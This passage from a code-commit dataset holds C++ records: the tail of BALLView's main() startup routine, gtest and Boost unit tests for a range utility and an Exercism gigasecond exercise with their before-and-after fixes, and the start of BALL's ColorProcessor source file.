f.getValue(\"GENERAL\", \"language\").c_str();\n\n\t\tif (!(str == \"Default\")) \n\t\t{\n\t\t\tQString loc = \"BALLView.\" + str;\n\n\t\t\tBALL::Path p;\n\t\t\tQStringList dpaths = QString(p.getDataPath().c_str()).split(\"\\n\");\n\n\t\t\tQTranslator* translator = new QTranslator(&application);\n\t\t\tforeach(QString str, dpaths) \n\t\t\t{\n\t\t\t\ttranslator->load(loc, str + \"BALLView\/translations\");\n\t\t\t\tif (!translator->isEmpty()) \n\t\t\t\t{\n\t\t\t\t\tQCoreApplication::installTranslator(translator);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ =============== testing if we can write in current directoy =====================\n\tif (home_dir == \"\")\n\t{\n\t\ttry\n\t\t{\n\t\t\tBALL::String temp_file_name;\n\t\t\tBALL::File::createTemporaryFilename(temp_file_name);\n\t\t\tBALL::File out(temp_file_name, std::ios::out);\n\t\t\tout << \"test\" << std::endl;\n\t\t\tout.remove();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t\tQMessageBox::warning(0, \"Error while starting BALLView\",\n\t\t\t\t\tQString(\"You dont have write access to the current working directory\\n\") + \n\t\t\t\t\t\"and BALLView can not find your home directory. This can cause\\n\" + \n\t\t\t\t\t\"unexpected behaviour. Please start BALLView from your homedir with\\n\" + \n\t\t\t\t\t\"absolute path (e.g. C:\\\\Programs\\\\BALLView\\\\BALLView).\\n\");\n\t\t}\n\t}\n\n\t\/\/ =============== initialize Mainframe ============================================\n\t\/\/ Create the mainframe.\n\tBALL::Mainframe mainframe(0, \"Mainframe\");\n\n\t\/\/ can we use the users homedir as working dir?\n\tif (home_dir != \"\")\n\t{\n\t\tmainframe.setWorkingDir(home_dir);\n\t}\n\n\t\/\/ Register the mainfram (required for Python support).\n\tmainframe.setIdentifier(\"Mainframe\");\n\tmainframe.registerThis();\n\n\t\/\/ Show the main window.\n\tmainframe.show();\n\n\t\/\/ =============== parsing command line arguments ==================================\n\t\/\/ If there are additional command line arguments, interpret them as files to open or logging flag.\n\tfor (BALL::Index i = 1; i < argc; ++i)\n\t{\n\t\tBALL::String argument(argv[i]);\n\t\tif (argument == \"-l\") \n\t\t{\n\t\t\tmainframe.enableLoggingToFile();\n\t\t\tcontinue;\n\t\t}\n\n\t\tmainframe.openFile(argument);\n\t}\n\n\t\/\/ enable ending of program from python script\n\tif (mainframe.isAboutToQuit()) \n\t{\n\t\tmainframe.aboutToExit();\n\t\treturn 0;\n\t}\n\t\n\t\/\/ Remove the splashscreen\n\tsplash->finish(&mainframe);\n\tdelete splash;\n\n  \/\/ Hand over control to the application.\n  int value = application.exec();\n\tchar*\treturn_value = getenv(\"BALL_RETURN_VALUE\");\n\tif (return_value != 0)\n\t{\n\t\ttry\n\t\t{\n\t\t\tvalue = BALL::String(return_value).toInt();\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\n\treturn value;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <exception>\n\n#include <gtest\/gtest.h>\n\n#include \"range.h\"\n\n\nusing namespace whoshuu;\n\nTEST(RangeIntegerTests, ValueStopTest) {\n    for (auto stop = 0; stop < 100; ++stop) {\n        auto expected = 0;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopTest) {\n    for (auto start = -100; start < 100; ++start) {\n        for (auto stop = start; stop < 100; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopStepTest) {\n    for (auto start = -100; start < 100; ++start) {\n        for (auto stop = start; stop < 100; ++stop) {\n            for (auto step = 1; step < 100; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStopReverseTest) {\n    for (auto stop = 100; stop > 0; --stop) {\n        auto expected = 100;\n        for (auto computed : range(100, stop, -1)) {\n            EXPECT_EQ(expected, computed);\n            --expected;\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopReverseTest) {\n    for (auto start = 100; start > -100; --start) {\n        for (auto stop = start; stop > -100; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1)) {\n                EXPECT_EQ(expected, computed);\n                --expected;\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100; start > -100; --start) {\n        for (auto stop = start; stop > -100; --stop) {\n            for (auto step = -1; step > -100; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected -= step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11, 10);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0, 10, -1);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10, 0, 1);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0, 10, 0);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStopTest) {\n    for (auto stop = 0.f; stop < 100.f; ++stop) {\n        auto expected = 0.f;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopTest) {\n    for (auto start = -100.f; start < 100.f; ++start) {\n        for (auto stop = start; stop < 100.f; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopStepTest) {\n    for (auto start = -100.f; start < 100.f; ++start) {\n        for (auto stop = start; stop < 100.f; ++stop) {\n            for (auto step = 1.5f; step < 100.f; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStopReverseTest) {\n    for (auto stop = 100.f; stop > 0.f; --stop) {\n        auto expected = 100.f;\n        for (auto computed : range(100.f, stop, -1.5f)) {\n            EXPECT_EQ(expected, computed);\n            --expected;\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopReverseTest) {\n    for (auto start = 100.f; start > -100.f; --start) {\n        for (auto stop = start; stop > -100.f; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1.5f)) {\n                EXPECT_EQ(expected, computed);\n                --expected;\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100.f; start > -100.f; --start) {\n        for (auto stop = start; stop > -100.f; --stop) {\n            for (auto step = -1.5f; step > -100.f; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected -= step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11.f, 10.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0.f, 10.f, -1.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10.f, 0.f, 1.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0.f, 10.f, 0.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStopTest) {\n    for (auto stop = 0.; stop < 100.; ++stop) {\n        auto expected = 0.;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopTest) {\n    for (auto start = -100.; start < 100.; ++start) {\n        for (auto stop = start; stop < 100.; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopStepTest) {\n    for (auto start = -100.; start < 100.; ++start) {\n        for (auto stop = start; stop < 100.; ++stop) {\n            for (auto step = 1.5; step < 100.; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStopReverseTest) {\n    for (auto stop = 100.; stop > 0.; --stop) {\n        auto expected = 100.;\n        for (auto computed : range(100., stop, -1.5)) {\n            EXPECT_EQ(expected, computed);\n            --expected;\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopReverseTest) {\n    for (auto start = 100.; start > -100.; --start) {\n        for (auto stop = start; stop > -100.; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1.5)) {\n                EXPECT_EQ(expected, computed);\n                --expected;\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100.; start > -100.; --start) {\n        for (auto stop = start; stop > -100.; --stop) {\n            for (auto step = -1.5; step > -100.; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected -= step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11., 10.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0., 10., -1.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10., 0., 1.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0., 10., 0.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n<commit_msg>Fix failing tests<commit_after>#include <exception>\n\n#include <gtest\/gtest.h>\n\n#include \"range.h\"\n\n\nusing namespace whoshuu;\n\nTEST(RangeIntegerTests, ValueStopTest) {\n    for (auto stop = 0; stop < 100; ++stop) {\n        auto expected = 0;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopTest) {\n    for (auto start = -100; start < 100; ++start) {\n        for (auto stop = start; stop < 100; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopStepTest) {\n    for (auto start = -100; start < 100; ++start) {\n        for (auto stop = start; stop < 100; ++stop) {\n            for (auto step = 1; step < 100; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStopReverseTest) {\n    for (auto stop = 100; stop > 0; --stop) {\n        auto expected = 100;\n        for (auto computed : range(100, stop, -1)) {\n            EXPECT_EQ(expected, computed);\n            --expected;\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopReverseTest) {\n    for (auto start = 100; start > -100; --start) {\n        for (auto stop = start; stop > -100; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1)) {\n                EXPECT_EQ(expected, computed);\n                --expected;\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100; start > -100; --start) {\n        for (auto stop = start; stop > -100; --stop) {\n            for (auto step = -1; step > -100; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeIntegerTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11, 10);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0, 10, -1);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10, 0, 1);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeIntegerTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0, 10, 0);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStopTest) {\n    for (auto stop = 0.f; stop < 100.f; ++stop) {\n        auto expected = 0.f;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopTest) {\n    for (auto start = -100.f; start < 100.f; ++start) {\n        for (auto stop = start; stop < 100.f; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopStepTest) {\n    for (auto start = -100.f; start < 100.f; ++start) {\n        for (auto stop = start; stop < 100.f; ++stop) {\n            for (auto step = 1.5f; step < 100.f; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStopReverseTest) {\n    for (auto stop = 100.f; stop > 0.f; --stop) {\n        auto expected = 100.f;\n        for (auto computed : range(100.f, stop, -1.5f)) {\n            EXPECT_EQ(expected, computed);\n            expected -= 1.5f;\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopReverseTest) {\n    for (auto start = 100.f; start > -100.f; --start) {\n        for (auto stop = start; stop > -100.f; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1.5f)) {\n                EXPECT_EQ(expected, computed);\n                expected -= 1.5f;\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100.f; start > -100.f; --start) {\n        for (auto stop = start; stop > -100.f; --stop) {\n            for (auto step = -1.5f; step > -100.f; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeFloatTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11.f, 10.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0.f, 10.f, -1.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10.f, 0.f, 1.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeFloatTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0.f, 10.f, 0.f);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStopTest) {\n    for (auto stop = 0.; stop < 100.; ++stop) {\n        auto expected = 0.;\n        for (auto computed : range(stop)) {\n            EXPECT_EQ(expected, computed);\n            ++expected;\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopTest) {\n    for (auto start = -100.; start < 100.; ++start) {\n        for (auto stop = start; stop < 100.; ++stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop)) {\n                EXPECT_EQ(expected, computed);\n                ++expected;\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopStepTest) {\n    for (auto start = -100.; start < 100.; ++start) {\n        for (auto stop = start; stop < 100.; ++stop) {\n            for (auto step = 1.5; step < 100.; ++step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStopReverseTest) {\n    for (auto stop = 100.; stop > 0.; --stop) {\n        auto expected = 100.;\n        for (auto computed : range(100., stop, -1.5)) {\n            EXPECT_EQ(expected, computed);\n            expected -= 1.5;\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopReverseTest) {\n    for (auto start = 100.; start > -100.; --start) {\n        for (auto stop = start; stop > -100.; --stop) {\n            auto expected = start;\n            for (auto computed : range(start, stop, -1.5)) {\n                EXPECT_EQ(expected, computed);\n                expected -= 1.5;\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueStartStopStepReverseTest) {\n    for (auto start = 100.; start > -100.; --start) {\n        for (auto stop = start; stop > -100.; --stop) {\n            for (auto step = -1.5; step > -100.; --step) {\n                auto expected = start;\n                for (auto computed : range(start, stop, step)) {\n                    EXPECT_EQ(expected, computed);\n                    expected += step;\n                }\n            }\n        }\n    }\n}\n\nTEST(RangeDoubleTests, ValueNegativeStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(-10.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStartLargerThanStopExceptionTest) {\n    bool thrown = false;\n    try {\n        range(11., 10.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0., 10., -1.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueAnotherStepWrongDirectionExceptionTest) {\n    bool thrown = false;\n    try {\n        range(10., 0., 1.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range arguments must result in termination\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n\nTEST(RangeDoubleTests, ValueZeroStepExceptionTest) {\n    bool thrown = false;\n    try {\n        range(0., 10., 0.);\n    } catch (const std::invalid_argument& e) {\n        thrown = true;\n        EXPECT_EQ(std::string{\"Range step argument must not be zero\"},\n                  std::string{e.what()});\n    }\n    EXPECT_TRUE(thrown);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"gigasecond.h\"\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n\n\/\/ See <http:\/\/www.boost.org\/doc\/libs\/1_59_0\/doc\/html\/date_time\/posix_time.html>\n\/\/ for documentation on boost::posix_time\n\nusing namespace boost::posix_time;\n\nBOOST_AUTO_TEST_CASE(test_1)\n{\n    const ptime actual = gigasecond::advance(time_from_string(\"2011-04-25 00:00:00\"));\n\n    const ptime expected(time_from_string(\"2043-01-01 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\n#if defined(EXERCISM_RUN_ALL_TESTS)\nBOOST_AUTO_TEST_CASE(test_2)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"1977-06-13 00:00:00\"));\n\n    const ptime expected(time_from_string(\"2009-02-19 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_3)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"1959-07-19 00:00:00\"));\n\n    const ptime expected(time_from_string(\"1991-03-27 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_4)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"2015-01-24 22:00:00\"));\n\n    const ptime expected(time_from_string(\"2046-10-02 23:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_5)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"2015-01-24 23:59:59\"));\n\n    const ptime expected(time_from_string(\"2046-10-03 01:46:39\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n#endif\n<commit_msg>including neded boost posix_time (#201)<commit_after>#include \"gigasecond.h\"\n#define BOOST_TEST_MAIN\n#include <boost\/test\/unit_test.hpp>\n#include \"boost\/date_time\/posix_time\/posix_time.hpp\"\n\n\/\/ See <http:\/\/www.boost.org\/doc\/libs\/1_59_0\/doc\/html\/date_time\/posix_time.html>\n\/\/ for documentation on boost::posix_time\n\nusing namespace boost::posix_time;\n\nBOOST_AUTO_TEST_CASE(test_1)\n{\n    const ptime actual = gigasecond::advance(time_from_string(\"2011-04-25 00:00:00\"));\n\n    const ptime expected(time_from_string(\"2043-01-01 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\n#if defined(EXERCISM_RUN_ALL_TESTS)\nBOOST_AUTO_TEST_CASE(test_2)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"1977-06-13 00:00:00\"));\n\n    const ptime expected(time_from_string(\"2009-02-19 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_3)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"1959-07-19 00:00:00\"));\n\n    const ptime expected(time_from_string(\"1991-03-27 01:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_4)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"2015-01-24 22:00:00\"));\n\n    const ptime expected(time_from_string(\"2046-10-02 23:46:40\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n\nBOOST_AUTO_TEST_CASE(test_5)\n{\n    const auto actual = gigasecond::advance(time_from_string(\"2015-01-24 23:59:59\"));\n\n    const ptime expected(time_from_string(\"2046-10-03 01:46:39\"));\n    BOOST_REQUIRE_EQUAL(expected, actual);\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: colorProcessor.C,v 1.5 2003\/10\/17 16:17:37 amoll Exp $\n\n#include <BALL\/VIEW\/MODELS\/colorProcessor.h>\n#include <BALL\/VIEW\/DATATYPE\/colorExtension2.h>\n#include <BALL\/KERNEL\/bond.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nColorProcessor::ColorProcessor()\n\tthrow()\n\t:\tUnaryProcessor<GeometricObject*>()\n{\n\tclear();\n}\n\nColorProcessor::ColorProcessor(const ColorProcessor& color_Processor)\n\tthrow()\n\t:\tUnaryProcessor<GeometricObject*>(color_Processor),\n\t\tdefault_color_(color_Processor.default_color_)\n{\n}\n\nColorProcessor::~ColorProcessor()\n{\n\t#ifdef BALL_VIEW_DEBUG\n\t\tLog.error() << \"Destructing object \" << (void *)this \n\t\t\t\t\t\t\t\t<< \" of class \" << RTTI::getName<ColorProcessor>() << std::endl;\n\t#endif \n}\n\nvoid ColorProcessor::clear()\n\tthrow()\n{\n\tdefault_color_.set(\"FF0000FF\");\n}\n\nvoid ColorProcessor::set(const ColorProcessor& color_Processor)\n\tthrow()\n{\n\tdefault_color_ = color_Processor.default_color_;\n}\n\n\nconst ColorProcessor& ColorProcessor::operator = (const ColorProcessor& color_Processor)\n\tthrow()\n{\n\tset(color_Processor);\n\treturn *this;\n}\n\n\nvoid ColorProcessor::swap(ColorProcessor& color_Processor)\n\tthrow()\n{\n\tdefault_color_.swap(color_Processor.default_color_);\n}\n\n\nvoid ColorProcessor::dump(ostream& s, Size depth) const\n\tthrow()\n{\n\tBALL_DUMP_STREAM_PREFIX(s);\n\t\n\tBALL_DUMP_DEPTH(s, depth);\n\tBALL_DUMP_HEADER(s, this, this);\n\n\tBALL_DUMP_DEPTH(s, depth);\n\ts << \"default_color: \" << default_color_ << endl;\n\t\t\t\n\tBALL_DUMP_STREAM_SUFFIX(s);\n}\n\nProcessor::Result 